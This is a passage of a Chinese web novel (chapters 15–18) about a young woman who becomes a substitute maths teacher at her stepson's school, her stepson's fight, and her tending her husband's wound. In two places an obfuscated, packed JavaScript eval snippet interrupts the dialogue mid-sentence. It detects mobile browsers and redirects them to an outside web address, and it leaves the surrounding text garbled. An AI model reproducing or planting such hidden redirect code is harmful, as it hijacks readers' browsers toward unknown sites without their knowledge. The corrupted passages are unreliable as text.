真实原因只是打工人找工作的牛马日常罢了。 她脸上的纠结太明显,想不注意都难。江明羧顿了顿,思索自己是不是说的太难听。 但还是坚持道:“以后在外面希望你不要和我打招呼,就当做互不认识的陌生人。” 回过神的金苒这次果断答应:“好呀!” 什么叫踏破铁鞋无觅处,得来全不费工夫。她今天通过面试后一直思考,如何在学生中间立起老师威信并保持刚正不阿,万一出身豪门的继子犯错,她作为老师是罚还是不罚呢? 罚吧,怕这小子背后告状,毕竟人家亲爹掌握着文承中学的资助,而自己只是扯着豪门虎皮进去的小小代课老师。 不罚吧,容易造成信用失衡,同时对其他学生不公平。 如今好了。 金苒神情轻松地笑起来,对方主动要求当陌生人,她也就无需左右为难。 江许黎:…… 为什么感觉她更开心了? 15. 第 15 章 第15章 因为金苒答应得太快,达成目的的江许黎一点儿也没有高兴。 他拧着眉头,最后归结于是自己对金苒不信任,所以才会有这样的感觉。 晚上六点,别墅的厨师做了一大桌菜,口味相比之前发生了较大的改变,爆炒,油焖,辛辣,这在以前的饭桌上基本看不到。 不过江许黎吃得挺香,本来就是半大小子吃穷老子的年纪,如此重口味下去,米饭比平时还多加了两碗。 吃完后他自顾自抱着猫回房间,只有金苒留下来和管家商量事情。 也不是什么大事,只是她后续要去上班,家里车子挺多,但司机只有小孙一个人,平日里小孙需要接送江明羧,自然没办法再送她,偏偏金苒属于无证人员:“车库有没有电动车?” 管家愣了足足五秒钟:“太太,您说什么?” 他怀疑自己听错了,不由得再次询问。 金苒:“……” 虽然她一个豪门太太骑电动车是有点出戏,但不至于这样惊讶吧,难道在豪门做管家的人连电动车是什么都不知道? 莫名的,金苒也觉得尴尬起来,心想,要不然她步行走过去?可半小时的时间放在通勤上实在浪费。 正当她纠结的时候,身后突然响起男人的声音:“要去哪。” 江明羧步履从容地走进来。 男人西装革履,头发用发油一丝不苟梳到脑后,露出英俊非凡的面孔,只是看着有些疲惫。 “先生。” 管家率先反应过来,因为没有提前接到通知,家里晚饭只准备了两个人的,他连忙问:“先生吃饭了吗,要不我让厨房再做一点?” 江明羧看了一眼桌子上所剩无几的饭菜:“嗯,做几道清淡的。” 管家恭敬地退下了,江明羧这才看向金苒。 时隔数天,两人再次见面,各自都有不同的思量:“听见你要车子,是准备出门?” 他语气平静询问,看起来还算友好。 金苒停顿了一下,同样识趣地没有提那晚的经历,仿佛什么事情也没有发生。 成年人的相处便是如此,讲究社交距离,不主动也不强求,彼此保留着适当的分寸感。 另外一方面,她入职文承中学的事情不算秘密,之所以没说是因为也没有人问,总不能让她主动拉着别人倾诉吧。 眼下既然江明羧开口了,金苒干脆斟酌着回答:“你知道我大学毕业后因为家里的事情一直没找工作,最近终于有了空闲,就尝试着投递了几份简历,没想到被录用了,所以之后大概每天都要出门。” 江明羧略微思考:“我记得你是A师范毕业。” 金苒讶然地看了他一眼,似乎没想到他会记得。 转而一想,虽然两人分房而睡,但结婚肯定要做好背调,说不定江明羧比自己都要了解原身。 后知后觉产生了点儿心虚,金苒咳了咳,决定某些事情还是揭过去吧。 这些天她已经想明白,既然江明羧试探之后一直没有其他动作,应该是不打算揭穿自己,否则以对方叱咤商场的手段,她早就哪凉快搁哪儿待着,哪里还有机会拉着豪门的旗帜在外招摇? 或许是没有证据,又或许另有打算,总而言之,她可以暂时不用担心自己的处境。 至于以后,难道她还会永远原地踏步呢? 金苒心中的小人自信地挺起胸膛,一瞬间,各种龙傲天语录醍醐灌顶。 什么我命由我不由天,什么宁欺白须公,莫欺少年穷;三十年河东三十年河西;今日你对我爱答不理,明日我让你高攀不起! 一番深度洗脑,成功把自己激励,金苒不是一个纠结于过去的人,心态转变之后,甚至还有心情观察起江明羧。 不得不说,这张脸实在好看,冷眉冷眼,鼻梁高挺,双唇不厚不薄,但抿着时会压出一条下落的线,使得冷硬的气质更加凌冽。 很难想象这样一张脸笑起来是什么模样。 不对,他会笑么? 金苒天马行空,自己只说出去工作,并没有说是什么工作,如果男人知道真相,会有什么反应? 只是想想,金苒眉眼就控制不住弯下来,她笑着说:“我是A师范毕业的,学的数学与应用数学专业。” 江明羧察觉到女人眼底的趣味盎然,若有所思,倒是真的顺着问:“什么工作,顺路的话可以让小孙送你。” 金苒故作云淡风轻地摆摆手:“不是什么特别的,就是在文承中学当代课老师,明天先过去入职,下周一正式工作。” 说完之后,果然看到江明羧脸上诧异的神情。 她立刻心满意足,仿佛吃了甜果子似的,从头舒畅到脚跟。 就是这种别人想不到,但偶然知道后立刻露出一副“居然是这个”的表情,实在太爽啦! 江明羧突然觉得有些好笑。 现在的这个金苒比之前可要真实多了,以至于他突然有点儿不想拆穿,信守承诺:“去明技正好经过文承,到时候可以先送你过去。” 金苒仅想了会儿就答应下来:“那麻烦了。” “没事,不过你可以抽空考一下驾照,不是为了开车,只是以后遇到某些情况可以有多种选择。” 要不说人家能逆境翻盘,成为A市商业新贵呢,连说话的艺术都是如此动听,金苒成功被说服,上辈子毕业后她因为找不到工作,顾不上考驾照,即便考了驾照也买不起车。 但现在她卡里可是有小二十万,豪车买不起,五菱宏光还是没有问题的。 仿佛能看透她的想法,接下来江明羧就道:“正好我认识几位驾校教练,如果感兴趣,后续可以让程叔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281798|166858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮你报名。” 这下,金苒已经不能用感动来形容了,瞌睡来了送枕头,她开始为自己曾经误解男人而感到羞愧,什么心思重,分明是老男人的善解人意! 等到厨房那边端上来新的饭菜,吃饱饭的她甚至重新坐下陪了一场。 “这个红烧肘子你吃吗,味道特别好吃。” “还有改良版虎皮鸡蛋,用龙井茶研制过,闻起来有淡淡的茶香。” 金苒积极同人推荐厨师的改良好菜,不管是出于原身的人设,还是感谢江明羧的帮助,她都表现得很是热情。 水晶吊灯竖直垂下,光线从玻璃罩中溢出,照耀在光滑的大理石板表面。 江明羧垂眸,不动声色看了一眼女人的脚下。 有影子。 饭后,两人一同回到二楼。 江明羧还有事情需要处理,径直去了书房,金苒有些困,但还是强撑着做了一套卷子,才起身拿着换洗衣物去洗漱。 磨磨蹭蹭洗了个澡,又在全身涂抹香喷喷的身体乳,金苒的眼睛已经睁不开了,睡觉前,她看到隔壁书房里的灯仍旧亮着,感慨连霸总也逃不脱打工牛马的命运。 而用不了几天,她也会变成其中的一员。 这样想着,牛马预备役金苒再也撑不住睡了过去。 次日天色转亮。 三楼的江许黎起床下来,竟然在饭桌上看到了难得的画面。 他昨晚睡得早,并不知道他爸回来,此刻看到两个大人平静无事地坐在一起吃饭,神情都变得恍然。 这是,和好了? 有些不知是失落还是恨其不争,复杂的情绪从脑海中一闪而过,江许黎回过神,立刻唾弃自己的想法。 金苒对他爸的恋爱脑有目共睹,对她来说,这样的结果或许才是最希望的。 只是他自己,绝对不会轻易认输。 在江明羧看过来的时候,少年已经迈开脚步走到位置坐下。 很快江许黎又发现,两人不止和好了,甚至有说有笑聊起天。 当然,笑的是金苒,他爸还是那副冰块样子。 即便如此,还是能看出他爸认真听着,不再像之前那样忽略无视。 江许黎:“……” 他突然觉得世界变得魔幻,而自己和他们格格不入,不由得加快吃饭的速度,最后用两分钟解决完早餐,起身准备离开。 “哎,等等!”金苒抬头喊住他,“等会儿你爸开车,要不要送你过去?” 正好她也要去学校报道,届时可以两人一起蹭车,有父子俩人在的话,想必气氛不会那么尴尬。 江许黎想都不想拒绝:“不用。” 他表情酷盖,态度遗世独立,最后骑着摩托潇洒离去,并不知道的是,在他走后没多久,金苒也坐着江明羧的车来到了文承中学门口。 16. 第 16 章 第16章 让司机小孙将车停在离学校五十米的地方,金苒下车后,绕过车子走到另外一边,屈手敲了敲车窗。 片刻后,窗户缓缓落下。 江明羧侧过头,晨光斑驳,映照的面容有些模糊,金苒也就没有看到男人脸上的冷漠,她语气轻快道:“那我就先进去了,谢谢你送我过来。” “客气了,正好顺路。” “那也要谢谢你。”否则即便顺路,如果对方没有这份心还是无济于事,金苒接受别人的帮助,心中同样存在感激。 想到什么,她伸手从包中掏出一颗薄荷糖,是和徐珍吃韩式炸鸡时剩下的薄荷糖:“谢礼。” 虽然寒碜了点,但礼轻情意重嘛~ 背影逐渐远去,几息间,混入数不尽的蹉跎人群中。 好半晌,江明羧才将伸出窗外的胳膊收回,展开手心,正中间的位置放着一颗薄荷糖。 他一错不错地盯着,表情讳莫如深。 前座的小孙迟迟听不懂动静,好奇地看向后视镜,结果正好撞进江明羧幽深的眼神里,吓得浑身一颤,再也不敢窥探。 直到身后传来指示:“走吧。” 他才如蒙大赦,松开刹车驶出学校附近的小道。 一秒也不敢多待。 另一边,金苒已经走进文承中学。 得益于提前逛过校园,这次她很容易就找到了教师楼。 不过却没有直接上去,而是先给负责老师打了个电话,告知自己已经到了,对方听到后果断道:“我现在空不出手,你直接来三楼吧,往左第二个房间。” 挂掉电话,金苒根据对方的提示来到三楼。眼下正值上课时间,教师楼相比较教学楼来说出奇安静,她打量了一圈,发现这一层大概属于老师办公的地方,而左数第二间的办公室门牌上则写着高一数学组。 她走过去礼貌敲了敲门:“您好,我是新来的代课老师,今天过来报道。” 正在清点书本的负责老师闻声抬起头,看到金苒后便是眼前一亮。 文承中学这次总共招聘了十位代课老师,其中数学组只有一位,她之前只听说新来的数学老师是个高材生,背景有些特别,但具体怎么特别大家并不清楚。 眼下看到金苒本人,负责老师开始怀疑自己的记忆,确定是背景特别而不是长相特别? 精致的五官,沉稳矜雅的气质,不知道是还以为是娱乐圈的明星呢! “金老师是吧?刚才送来了一批教辅书,学生们急着要,我实在走不开,让你久等了。”她笑着打招呼。 “没有,我也是刚到。” 金苒弯弯唇角,态度不卑不亢,“需要做什么,我来帮您。” “不用不用,已经弄的差不多了。”负责老师摆摆手,话虽如此,金苒还是观察了一下她的步骤,发现就是检查书本的质量,找出缺页少码的,然后再数出每个班级的数量,用捆扎绳捆住。 看明白后,她二话不说加入帮忙,动作迅速干练,一点也看不出有背景的样子,见状,负责老师更是满意,等后面安排的时候,直接分给她一个靠窗的好位置。 “你来得巧,这里本来是咱们数学组一个老教师的位置,上个月她怀孕辞职了,以后你就在这边办公吧。” 金苒却知道是对方给自己行了方便,真诚说了一句谢谢。 负责老师安排完后就去忙自己的事情,金苒抱着领来的课本坐到工位上,看得出前一位老师是个爱干净,东西摆放得简单整洁,桌面几乎不见灰尘。 窗台边,一杯清水养着一枝折断向日葵,阳光透过玻璃斜斜漫进来,在花瓣边缘镀了一层毛茸茸的金边。 金苒觉得很漂亮,于是左右找好角度,拍了一张照片发到朋友圈。 发完之后,她就开始准备自己第一节课的备课。 第一次上班,有点儿激动,又有点儿紧张,也不知道她带的班级的学生听不听话。 / 下课前,班主任通知大家:“学校给你们招了新的数学老师,下周一对方会过来上课。” 闻言,底下的学生瞬间激动起来,拍着桌子嗷嗷叫:“老班!数学老师多大年纪啊?” “新来的老师是男的女的?” “哎!不管男女,可千万别是地中海啊!” 不知谁喊了这么一嗓子,引得全班哄笑不已。讲台上,年过四十的班主任摸了摸自己稀疏的头顶,直接气笑了。 “问这么多干什么!” 他瞪着眼睛,本来还想介绍一下新老师,这会儿干脆什么也不说了:“到时候你们就知道了!” 尽管如此,学生们的兴趣半点儿没有消减。 陈训良兴奋地回过头:“黎哥,你说新来的数学老师是男的还是女的?” 江许黎正拿着手机打游戏,理都没理他。 陈训良也不在意,自顾自说话:“我希望是个女老师,不过大概率会是男的,女生的数学不如男生。” 这话惹怒了左前方的王舒雅:“谁说的!” 陈训良理所当然:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288215|166858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还用说嘛,咱们班的数学第一是黎哥,语文第一是陈雅,女生学文比学理更有优势。” 王舒雅反驳:“单一样本不具备代表性,何况五班的数学第一就是女生!” “六班第一是男生!” …… 两人你一句我一句,小学生似的吵得面红耳赤,最后齐齐看向江许黎:“黎哥/江许黎你说呢!” 江许黎:“……” 莫名的,少年想起了金苒。 女人讲课时的游刃有余,手中签字笔在白纸上笔走龙蛇,短短几秒钟就能创造一道难题,驾轻就熟的样子,仿佛心中自有一片天地。 陈训良也反应过来:“你后妈例外。” 王舒雅不明白这件事和江许黎的后妈有什么关系,而且听起来那位后妈的数学似乎还很好。 心中有些不服,忍不住道:“我这次的数学考了一百三十分。” “切,黎哥还考了一百五呢!” 傲慢地好似考高分的是他本人。 回过神的江许黎凉凉看过去:“你也是男生,我记得你这次数学考了倒数第十。” 陈训良:“……” 扎心了兄弟。 这种扎心的感觉一直持续到下课,江许黎因为打架,被班主任叫去了办公室。 “靠!肯定是七班的那群孙子告状!” 陈训良气炸了。 王舒雅也忍不住担心,她还记得江许黎的后妈,虽然江许黎表示和对方无关,但她是女生,自认为更了解女生。 试想如果她喜欢的人和别人有孩子,她一定会讨厌死那个孩子:“要是叫家长怎么办?” 陈训良同样想到了这种可能,咬咬牙:“不行,我得过去看看。” 这边,两人在为朋友的未来忧心忡忡,殊不知事件中心的江许黎却是心态一片平和。 或者说,他根本没有放在心上。 一来他不觉得自己做错了事情;二来,即便请家长,他爸也不会出现,大概率会派身边的特助。 至于金苒,根本没有在江许黎的考虑范围内。 所以当他一副无所谓的态度跟着班主任走进办公室,看到熟悉的女人坐在老师中间,言笑晏晏的时候,聪明的大脑有一瞬间的卡壳。 但很快,他就知道自己误会了。 因为他听到自家班主任热情向对方打招呼:“金老师,欢迎欢迎,以后咱们就是同事了!” 金老师?同事? 那一刻,江许黎突然觉得,还不如叫家长呢。 16-20 第17章 第17章放心,陌生人,我懂。…… 金老师?同事? 江许黎身体僵住,脑海中瞬间想到了某种可能。 这一刻,他很想转头就走,显然,少年人对于后妈突然成为自己老师的事情有些难以接受。 但现实中,他只是表情愈发冷凝,双脚如同灌了水泥,凝固后变成沉甸甸的石头,而后一言不发地走进办公室。 倒是把班主任给弄得丈二和尚摸不着头脑。 江许黎是他班上的学生,家庭条件优越,虽然没有其他富二代学生的傲慢,但脾气颇为倔强,时常在语文课上睡觉,以至于语文老师气哭了好几次。 不过数学和物理老师倒是把他当成了宝。 如此一个让人又爱又恨的学生,班主任实在不知道该怎么管理。 你跟人家说好好学习未来会赚大钱,人家直接反问会比他爸赚得多吗。 这让班主任怎么回答?谁不知道他爸是江明羧啊,那个A市最大科技公司明技科技的创始人! 所以在得知江许黎在校内打架后,班主任不仅没有生气,反而有一种“居然打架了”的诧异。 “来,跟我说说到底是怎么回事,七班那老头子可是找我好几次了,说你把他们学生打的流鼻血,是真的吗?” 江许黎点头。 人的确是他打的,没什么好说的。 少年桀骜,不驯,不屑于向大众解释,放在班主任眼中,无意于一种变相的承认。 当即皱起眉头:“老师本来相信你不是会随便动手的人,可你要是什么都不说,老师也没办法替你做主!” 话语不自觉带上了严厉。 另一边,金苒只在江许黎进来的时候轻飘飘看了一眼,之后便移开目光。 她可记得对方对她的“警告”,在外面要装作不认识,做最熟悉的陌生人。 这会儿,她正拿着课本向年长的同事们请教一些教学经验,没有特意关注那边,不过因为办公室的地方小,对话还是不可避免往耳朵里钻。 打架? 金苒倒是没有感到奇怪。 江许黎不是传统意义上的乖孩子,逃课,骑摩托,和父亲争吵,每一件都充满叛逆期少年的风格。 只是上班第一天就碰到继子打架,让她一时不知该感慨自己运气好还是坏。 而且她潜意识里觉得,江许黎不会无缘无故打人。 究其原因,大概一个会收养流浪猫的少年,心肠不会坏到哪里去吧? 金苒心里这样想着,表面却没有任何举动,只是随意听了几句,又将自己的注意力投入到课程备课中。 她是半路入职,说好不好,说坏的确有点儿麻烦。 现在高一课程已经进入尾声,听其他老师说,自从上一任数学老师离职,高一三班的数学课一直是四班的老师帮忙代课。 因为不是直属老师,难免会有许多疏漏的地方,加上三班的同学对这位临时老师没有认同感,从不询问问题。最近一次月考,三班的数学成绩下降严重,从原本的年级第五,下滑到第七名。 金苒翻开学校册子,发现整个高一只有七个班级。 忧愁地捏了捏眉头,她猜测会有挑战,没想到挑战这么大。 更没想到的是,在她思考问题的时候,旁边的情况已经发展到另一个阶段。 “砰!” 一声巨大的响动突兀地响起,把办公室里包括金苒在内的其他老师吓了一跳,大家纷纷望向发声源,却见三班的班主任手掌哐哐哐拍着桌子:“看他们不顺眼就打人?哪天看老师不顺眼,你是不是还要打老师?” 江许黎懒洋洋道:“不敢。” “我看你不是不敢,是太敢了吧!既然这样,那就叫家长来!” 班主任一锤定音。 金苒:“……” 等等,她才一会儿没听,发生了什么? 眼前的画面过于丰富——桀骜不羁的学生,怒火中烧的老师,还有五六个看热闹的同事,她这第一天的上班生涯可真精彩啊。 班主任生气是真生气。 但要说眼下的行为,却是多少掺杂着些演戏的成分。 江许黎身份比较特别,他既不敢深究,又不敢轻放,干脆把矛盾抛出去,借着叫家长的名义让其他人来处理烂摊子。 班主任的想法确实不错。 在听到叫家长后,江许黎脸上漫不经心的表情收起,下意识转向金苒的方向。 他甚至不知道自己为什么要看,只在触及金苒一言难尽的表情时,嘴角倏然绷紧,那双凌厉如刃的桃花眼颤了颤,像被雨水打压的铃兰,片刻后,生硬地别开脸。 无所谓。 他想。 少年故作毫不在乎,可明眼人还能看出他掩饰下的狼狈。 班主任顺着视线看过去,刚好看到新来的老师一副“被吓到”的样子,咳了咳:“那个,金老师啊,正好你以后也教这个班,你来说说,这件事情该不该叫家长!” 金苒来不及惊讶自己居然成了继子的嫡亲老师,便听到后面的问题,条件反射回答:“如果真的做错事情,可以叫家长。” 闻言,江许黎嘴抿得更紧了。 班主任满意地点点头:“孩子的教育不能只依赖老师,还得需要家长的配合。” 金苒看了一眼江许黎,少年已经低下头,看不清脸上的表情,她只看到茂盛的头发中间两颗头旋,网上说这样的人通常性子固执:“陈老师说得对。” 话音一转,“不过我想着打架总不能是一个人的问题,听说被打的那边有三个人?怎么让江……这位同学给打到流鼻血呢?” 这个问题,把班主任问住了。 他们当老师的,一般只管自己班的学生,很少远洋捕捞,七班的老师过来找他,他并未多想,这会儿突然觉得不对劲。 “会不会有什么误会?”金苒表情认真,“或许可以和七班的老师一起问问,如果真是咱们学生的问题再叫家长,否则贸然把家长请来,要是误会了,到时候和家长不好交代。” 金苒这话不是为了谁,她是单纯觉得这样刚好。 上辈子做志愿者的时候,她见过许多学生被叫家长,而叫家长的目的,更多的是为了威慑学生,达到让他们听话的目的。 江许黎能被威慑吗? 金苒觉得够呛,或许还会激起少年更严重的叛逆。 班主任陷入思考。 旁的不提,金苒有句话说到了他的心里。如果把那位叫来却发现是误会,还是误会对方的亲儿子,那就有点儿麻烦了。 想了想,班主任去对面的办公室找七班老师。 两人一番互通,最后把所有的学生叫来,几个被打的学生一开始还嘴硬,坚持是江许黎的错,后面偷偷跑来的陈训良和王舒雅站出来,说是他们先欺负同学,江许黎才会动手,几人才不得不承认。 这下子,七班老师没了脸,校园.暴.力居然发生自己班级,不由得严厉批评,并当着众人的面通知了几人的家长。 江许黎这边,虽然是见义勇为,但用错了方式,公然在校内打架斗殴,所以被罚写一千字检讨书。 后面的事金 苒就不清楚了。 她今天只是过来报道,短短一天的时间,已经收获了若干同事,三张A4纸的宝贵教学经验,还顺便吃了一场野生瓜。 等到傍晚最后一节课结束,麻利收拾东西准备回家。 走到楼梯处,拐角的地方突然出来一个人。 江许黎双手插兜,看着似乎等了好一会儿,见人出现,顿时表情复杂地看向她,嘴唇嗫嚅想要说点儿什么,金苒已经视若无睹地绕了过去。 江许黎:“……” 他额头青筋跳了跳,不明白女人搞什么鬼,再次走到前面将人拦住:“你……” 金苒立刻打手势制止,先是警惕往周围看了几眼,确定没有其他人才松了口气,意味深长道:“放心,陌生人,我懂。” 江许黎一下子梗住了。 想说的话说不出来,吞不下去,一时间,少年俊朗的帅脸憋成了红色。 嗯,猪肝红。 / 金苒在学校门口看到了熟悉的保时捷。 她微微惊讶,没想到江明羧会来接自己,她本来都做好步行回家的准备了! 脚下步伐变得轻快,不由得一路小碎步跑过去,等打开车门后却发现江明羧并没有在车里。 “江总遇到了些事,胳膊上的伤口不小心扯开了,所以让我一个人过来接您。” 司机小孙解释道。 恰巧推着摩托车路过的江许黎听到这句话,猛地停住脚步。 金苒清楚看到,少年脸上健康的小麦色一点一点褪尽,最后只剩下纸张般的苍白。 第18章 第18章夫妻之间互相帮助是应该…… 心想,即便表面再怎么对着干,对于江明羧这个父亲,江许黎内心终究是在意的。 这倒也正常。 毕竟江明羧和前妻离婚后,孩子一直跟着他生活。这么多年来父子俩相依为命,江许黎自然对父亲有着深深的依赖。 但中国式父母向来羞于说爱,他们用严厉代替温柔,用责备代替关切,最后养出来的孩子,连表达依恋都显得笨拙而生硬。 何况金苒觉得江明羧真不会养孩子。 至少连她这位曾经的未婚人士都知道,孩子生病的时候需要的是关心而不是指责。 这样想着,金苒突然意识到一个问题。 江明羧今年三十五岁,而江许黎十五岁,岂不是说明前者在二十岁就有了孩子? 二十岁,还在上大学的年纪…… 倒吸一口凉气,金苒忍不住回想自己二十岁的时候。 她刚刚考上大学,与高中三年监狱般的高压学习相比,美丽而自由的大学宛如新生的乐园,她像鱼儿入水,整日畅快自在。 于是那一年,她积极参加社团活动,认识了许多朋友,她还谈了几场轰轰烈烈的恋爱。 在她看来,一切都是正常的人生经历,可当这里面的人换成江明羧,金苒就实在有些思维贫乏,根本无法想象江明羧追女生的画面。 冷脸送奶茶么? 她被自己的幽默给小小逗乐了一下,反应过来自己在想什么,立刻摇了摇头。 打住打住! 过往经验告诉金苒,对一个男人好奇可不是一件好事情,因为人类骨子里的基因会让她不由自主去解开秘密。 解密需要靠近,需要了解,而当一个人和另外一个人之间越来越近时,往往会往另外一个方面发展。 金苒谈过恋爱,也不排斥恋爱,但那仅限于穿书之前。 现在的她只想好好搞事业。 工作稳定,福利优厚的教师编明显比男人更让她心动,要知道,在父母眼中,公务员和各种编制可是比霸总还要好的职业呢! 她很快冷静下来。另一边,得知江明羧受伤了,江许黎恨不得立刻回去。 金苒却不敢再让他骑车,硬是把人拉下来,赶在少年生气前快速说道:“你也不知道你爸在哪呀,与其无头苍蝇乱跑,还不如让小孙带我们过去。” 江许黎眉头死拧,到底妥协下来。 一路上,两人都没有心情说话。 车子顺着车流在路上奔驰,金苒原本以为会去医院,亦或者某个诊所,不料小孙居然把两人载回了家。 车子一停,江许黎便迅速跳下去往别墅里跑,被他影响着,金苒也紧张起来,虽然她之前看着江明羧的伤口不算严重,但万一呢? 想起对方对自己的帮助,金苒不由得加快脚步。 等两人气喘吁吁推开门,就看到江明羧坐在客厅,手上正翻阅一本杂志。 男人身着深灰色衬衫,领口半敞开,露出结实的胸膛,麦色肤感在自然光线下仿佛凝结着一层光膜,修长手指点着杂志书页,指尖如节节竹骨刺入纸张,细闻,空气中还有淡淡的烟味。 “回来了?” 他侧过头,嗓音沉稳有力。 金苒仔细盯着对方瞧了瞧。 发现除了脸色有点儿苍白,其他应该没什么大事。 江许黎同样意识到这一点。 他跑得急,这会儿胸膛因为缺氧剧烈起伏,呼吸间,嗓子里涌出一股铁锈味。 得知他爸身体无碍后,少年紧绷了一路的精神松懈下来。 可他没事了,那边江明羧看到他的样子,却是皱眉。 “跑这么快干什么?” 又是问都不问的训斥,江许黎发现自己竟然习惯了,他抬手抹了一把额头的汗,面无表情道:“没什么。” 满不在意,并且似乎不打算解释,这让跟在后面的金苒忍不住瞪大眼睛。 不是,她可没有默默付出的觉悟啊…… 说她聪明也好,自私也好,金苒从小就知道,小说中那些默默付出的女主在达到圆满结局之前,一般都需要经历各种误会苦难虐心虐身。 她没有那么崇高,所以她对一个人好,必定会想方设法让对方知道。 于是果断开口:“小孙说你伤口崩开了,我们担心你,所以才跑回来。” 被瞬间打脸的江许黎:“?” 少年脸色爆红,回头瞪她:“你胡说什么,我才没有!” 金苒无奈摊手,一副拿你没办法的样子:“好吧,你不担心,也没有差点把鞋子跑掉。” 都是她眼睛出现问题,莫名其妙看到鞋在飞行了吧。 江许黎:“……” 对面,江明羧望着拌嘴的两人,表情从诧异,到古怪,最后逐渐转为幽思。 什么时候,两人变得这般熟悉了? 他放下杂志,有些疲惫地捏了捏鼻梁:“小孙说得太夸张,其实没有事。” 略微一顿,“下次再遇到这种事情跑慢一点,或者找王助理。” 王特助负责除了管家之外的一切事宜,自然包括替老板报销一双跑丢的鞋子。 金苒脑补了男人的意外之意,噗嗤笑出声。 这次,回应的她是江许黎哼了声,气急败坏上楼去。 只是那背影怎么看,怎么有点落荒而逃的意味。 等少年的脚步声消失在楼梯尽头,金苒才再次转向江明羧:“真的没事吗,我记得上次出院时,医生嘱咐你不能剧烈运动。” 她走近了些,目光落到男人搭在靠背上的手臂,其实从刚才起她就闻到了掩藏在烟味下的淡淡血腥,以及男人身上穿的还是白天去公司时的衣服。 再联想小孙说的话,金苒大胆猜测——对方其实刚从公司回来,说不定比他们早到不了几分钟。 江许黎年纪小,随便一激就顾头不顾尾,她虽然不知道发生了什么,但出于搭车之情,还是提议:“要不然我给你看看?” 江明羧手一顿,抬起眼眸。 今天不知怎么回事,客厅里不见一个佣人,窗外太阳落下,昏暗的暮光中,男人身上笼罩着一层模糊的重影。 半垂着的眼睛睁开,这一刻,他终于正视她。 “看什么?” “看看伤口啊,如果出血了,我可以帮你简单处理一下,总不能放着不管吧。”金苒双手比划了几下。 江明羧又不说话了。 金苒很是无语,自己又没有坏心思,用得着这么警惕嘛,莫名其妙看过去,然后 对上一双漆黑的瞳孔。 来了来了,那种被审视的压迫感! 金苒强忍着没有移开目光,最后灵机一动,故作深情款款朝对方眨了个wink。 江明羧:“。” 一言难尽移开目光。 气氛倏然打破,就在金苒久久等不到回应,有些后悔自己多此一举时,江明羧敛下眼皮,抬手去解自己的衬衫扣子。 “咳,家里有绷带么?” 见状,金苒匆匆避开眼睛,一副很忙,但不知道忙什么的样子。 江明羧并不清楚,于是把管家叫来了。 听到金苒需要绷带,程管家很是惊讶,下意识看向江明羧,后者点头:“把东西给她。” 没一会儿,万能的程管家就拿来绷带,并附带酒精碘伏纱布棉片等全套医疗用品。 一切准备就绪。 得益于金苒的初中班主任学过医,格外重视安全教育,从小就教授学生各种急救常识。 所以哪怕年代久远,此刻,金苒可以很顺利地从一众医疗器材中拿到自己需要的东西,小心翼翼剪开江明羧胳膊上的旧绷带,露出底下被缠绕的伤口。 那是一道狭长的擦伤,本来已经结痂,眼下又被暴.力挣开,蜈蚣疤下的猩红血肉有些触目惊心。 金苒只是看着都觉得疼,江明羧居然毫无反应,仿佛没有感觉似的。 她提醒:“我帮你重新处理一下,可能会用力,如果疼就说一声。” 江明羧“嗯”了声。 至于说不说,只有他自己清楚。 因为要处理伤口,两人之间难得靠得很近,近到几乎耳鬓厮磨,近到江明羧微微低头,就能闻到女人发间的石榴香。 他屏息一瞬,以为自己会厌恶,但似乎并没有。 金苒动作很轻,偶尔手指会碰到胳膊,于是皮肤的触感通过微弱小点传递过来,温温凉凉,像一块被润养的玉。 “有温度。”他突然道。 “什么温度?” 金苒没有听清楚,许久不动手包扎,有点儿手生,但有总比没有好,最后缠完,她下意识想要系个蝴蝶结,临到头忍住了。 “好了。” 看着眼前自己的杰作,她很是满意,忍不住道:“你可是第一位享受我服务的客人。” 江明羧低头注视手臂上缠得歪歪扭扭的纱布,神情自若:“所以我是不是该付点报酬?” “啊?” 这算是意外之喜吗?豪门霸总的报酬应该不普通吧。 金苒很想一口答应,但为了人设,只能忍痛拒绝,“哎呀,不用了,夫妻之间互相帮助是应该的。” 呜呜呜,心痛到滴血。 江明羧注意到她的小动作,眼底划过笑意:“既然是夫妻,送你礼物更是理所应当,你可以仔细想一想,真的没有什么想要的吗?” 低沉磁性的嗓音,仿若希腊神话中塞壬的吟唱,充满蛊惑与魔力。 金苒心想,她当然有想要的东西。 想要钱,想要权,想要教师编上岸。 但理智告诉她,这些都不能说。 江明羧不是傻子,也不是大发慈悲撒钱玩的慈善家,有些东西他可以主动给,她却不能直接要。 金苒只能绞尽脑汁思考有什么事情可以代替。 然后真让她想到了一件事情。 一件既不会崩人设,还能趁机满足自己需求的事情。 “你真要给我报酬?” 她小心试探。 “当然,还是你不想要。”江明羧思考,“如果你实在不想要,就……” “想要想要。”金苒立刻打断他的话,表面露出娇俏的笑容,“好吧,这可是你说的,不能我提了,你又嫌弃我狮子大开口。” 江明羧饶有兴趣看着她:“你先说。” “我想申请在你的书房里放一张桌子,外加一把椅子,作为独属于我自己的办公场所!” 自从江明羧出差回来,她学习的地方就被迫从书房挪到卧室,众所周知,人一靠近床就会发困,这些天学习的效率大大降低! 金苒一直苦恼于此,现在终于有了解决办法,而且这个要求不涉及金钱利益,还能包装成她想要靠近他的小心机。 金苒想的很好,但内心还是怕江明羧反对,一开始言辞振振,后面气势又不自觉弱下来:“可以吗?” 